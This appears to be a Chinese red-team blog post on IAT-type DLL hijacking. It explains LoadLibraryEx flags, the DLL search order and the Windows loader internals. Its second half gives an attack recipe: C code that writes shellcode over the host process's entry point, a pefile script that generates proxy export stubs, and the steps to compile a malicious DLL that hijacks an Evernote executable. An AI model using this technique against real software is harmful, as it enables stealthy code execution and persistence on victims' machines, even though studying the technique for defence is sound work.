前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >DLL劫持之IAT类型

DLL劫持之IAT类型

作者头像
红队蓝军
发布2023-02-25 14:29:19
6220
发布2023-02-25 14:29:19
举报
文章被收录于专栏:红队蓝军

Loadlibrary

Loadlibrary的底层是LoadLibraryEx

代码语言:javascript
复制
HMODULE WINAPI LoadLibraryEx(
  _In_       LPCTSTR lpFileName,
  _Reserved_ HANDLE  hFile,
  _In_       DWORD   dwFlags
);

第三个参数:

DONT_RESOLVE_DLL_REFERENCES : 这个标志用于告诉系统将DLL映射到调用进程的地址空间中,但是不调用DllMain并且不加载依赖Dll(只映射自己本身)。

LOAD_LIBRARY_AS_DATAFILE : 这个标志与DONT_RESOLVE_DLL_REFERENCES标志相类似,因为系统只是将DLL映射到进程的地址空间中,就像它是数据文件一样。系统并不花费额外的时间来准备执行文件中的任何代码。

LOAD_LIBRARY_SEARCH_USER_DIRS : 搜索路径的使用使用AddDllDirectorySetDllDirectory设置的路径(保护Dll自己和依赖Dll)。

LOAD_LIBRARY_SEARCH_SYSTEM32 : 从%windows%\system32加载Dll和其依赖项。

LOAD_LIBRARY_SEARCH_APPLICATION_DIR : 应用程序安装路径搜索Dll和其依赖项。

LOAD_WITH_ALTERED_SEARCH_PATH: 按照如下目录搜索:

代码语言:javascript
复制
1. 进程当前目录
2. Windows的系统目录
3. 16 位Windows的系统目录
4. Windows目录
5. path环境变量目录

默认环境下LoadLibrary按照以下目录搜索

代码语言:javascript
复制
1. 进程当前目录。
2. SetDllDirectory设置的文件夹路径。
3. Windows的系统目录。
4. 16 位Windows的系统目录。
5. Windows目录。
6. path环境变量目录。

SetDllDirectory函数如下

跟到KernelBaseGetGlobalData

跟到0环可以发现,在转换之后可以得到路径

代码语言:javascript
复制
0:003> dd KERNELBASE!KernelBaseGlobalData
75b155a0  00000000 00000000 00160014 7f9a1240
75b155b0  00280026 7f9a1260 00000000 00000000
75b155c0  00000000 00e60000 75b156c0 7fff0000
75b155d0  00c4b494 0000011a 00cc1914 0000012c
75b155e0  00cb9f34 00000253 00cc2658 00cc5e20
75b155f0  00000000 00e84380 0000000f ffffffff
75b15600  ffffffff 00000000 00000000 00000000
75b15610  020007d0 75950000 00000000 00000000
0:003> du 7f9a1240
7f9a1240  "C:\Windows"
0:003> du 7f9a1260 
7f9a1260  "C:\Windows\system32"

LoadLibraryExW函数原型

代码语言:javascript
复制
HMODULE __stdcall LoadLibraryExW(LPCWSTR lpLibFileName, HANDLE hFile, DWORD dwFlags)
{
    SearchPath = BaseGetProcessDllPath(
                       &dwFlags,
                       (chFlags & LOAD_WITH_ALTERED_SEARCH_PATH) != 0 ? DllName.Buffer : 0,
                       0,
                       (int)&dwFlags);
    ntStatus = LdrLoadDll(SearchPath, (PULONG)&lpLibFileName, &DllName, &hFile);
}

首先通过BaseGetProcessDllPath获取路径,然后调用LdrLoadDll加载dll

代码语言:javascript
复制
NTSTATUS __stdcall LdrLoadDll(PWSTR SearchPath, PULONG LoadFlags, PUNICODE_STRING DllName, PVOID *BaseAddress)
{
  //...
  if ( SearchPath )
  {
    result = RtlInitUnicodeStringEx(&DestinationString, SearchPath);
    if ( result < 0 )
      return result;
    NewSearchPath = &DestinationString;
  }
  else
  {
    NewSearchPath = &LdrpDefaultPath;
  }
  //...
  v7 = LdrpLoadDll(DllName, (int)NewSearchPath, v6, 1, 0, (int)&DllName);
  //...
  return v7;
}

再调用LdrpLoadDll

代码语言:javascript
复制
int __stdcall LdrpLoadDll(PCUNICODE_STRING Source, int a2, int a3, char a4, int a5, int a6)
{
    //...
    if ( !LdrpInLdrInit )
      RtlEnterCriticalSection(&LdrpLoaderLock);
    
    //...
    LdrpFindOrMapDll(*(PCUNICODE_STRING *)((char *)&v31 + 1), v29, a3, v27[0], (int)&v33, (int)&v31);

    //...
    if ( v21 & 0x1000000 )
        v22 = LdrpCorProcessImports((void *)v21, v33);
    else
        v22 = LdrpProcessStaticImports(v33, v29);
    //...

    LdrpRunInitializeRoutines(0);

    //...

    if ( !LdrpInLdrInit )
      RtlLeaveCriticalSection(&LdrpLoaderLock);
}

通过分析函数,其流程如下

  1. 加载锁RtlEnterCriticalSection(&LdrpLoaderLock)
  2. 通过LdrpFindOrMapDll加载dll
  3. 处理导入表信息
  4. 运行回调函数LdrpRunInitializeRoutines
  5. 释放锁RtlLeaveCriticalSection(&LdrpLoaderLock)

在第4步运行LdrpRunInitializeRoutines其实就是调用DllMain,也就是说加载dll首先会加载锁,再调用DllMain

挖掘

针对非LoadLibrary而是从IAT表导入函数的程序,不能用导出函数的方法

导入表调用在程序执行开头,那么可以在解析PE头的时候调用 DLL­MAIN

代码语言:javascript
复制
MODULEINFO moduleInfoe;
SIZE_T bytesWritten;
 
GetModuleInformation(GetCurrentProcess(), GetModuleHandle(NULL), &moduleInfoe,sizeof(moduleInfoe));
 
char EntryAddr[MAX_PATH] = { 0 };
_itoa_s((int)moduleInfoe.EntryPoint, EntryAddr, 10);
unsigned char shellcode[] = "";
int shellcode_size = 1024;
HANDLE currentProcess = GetCurrentProcess();

WriteProcessMemory(currentProcess, moduleInfoe.EntryPoint, (LPCVOID)&shellcode, shellcode_size, &bytesWritten);

导入表函数格式

代码语言:javascript
复制
#pragma comment(linker, "/EXPORT:cef_string_list_append=cef_string_list_append,@1")
EXTERN_C __declspec(naked) void __cdecl cef_string_list_append(void){}

手动写导入太麻烦,借助python的PEfile库直接读取导入表中的函数

https://github.com/erocarrera/pefile

首先定位判断dll名称

代码语言:javascript
复制
pe = pefile.PE(module_name)
    for importeddll in pe.DIRECTORY_ENTRY_IMPORT:
        DllName = str(importeddll.dll,encoding = "utf-8")
        if(DllName != target_dll):
            continue

然后获取导入表的函数

代码语言:javascript
复制
 for importedapi in importeddll.imports:
            print(importedapi.name)
            FunctionName = str(importedapi.name,encoding = "utf-8")

获取到函数之后按照格式输出

代码语言:javascript
复制
tamplate += """#pragma comment(linker, "/EXPORT:%s=%s,@%s")\n""" % (FunctionName,FunctionName,i)
\tamplate += """EXTERN_C __declspec(naked) void __cdecl %s(void){}\n""" % (FunctionName)

以印象笔记下的文件为例,其用的方法是从IAT表中导入函数,直接运行会显示缺dll

这里使用脚本获取所有的导出函数

得到a1.c的源文件,可以看到已经将导出函数声明到了源文件里面

然后将shellcode填充到相应位置

再使用gcc编译成dll

双击即可完成IAT类型的dll劫持

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2023-01-07,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 红队蓝军 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • Loadlibrary
  • 挖掘
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档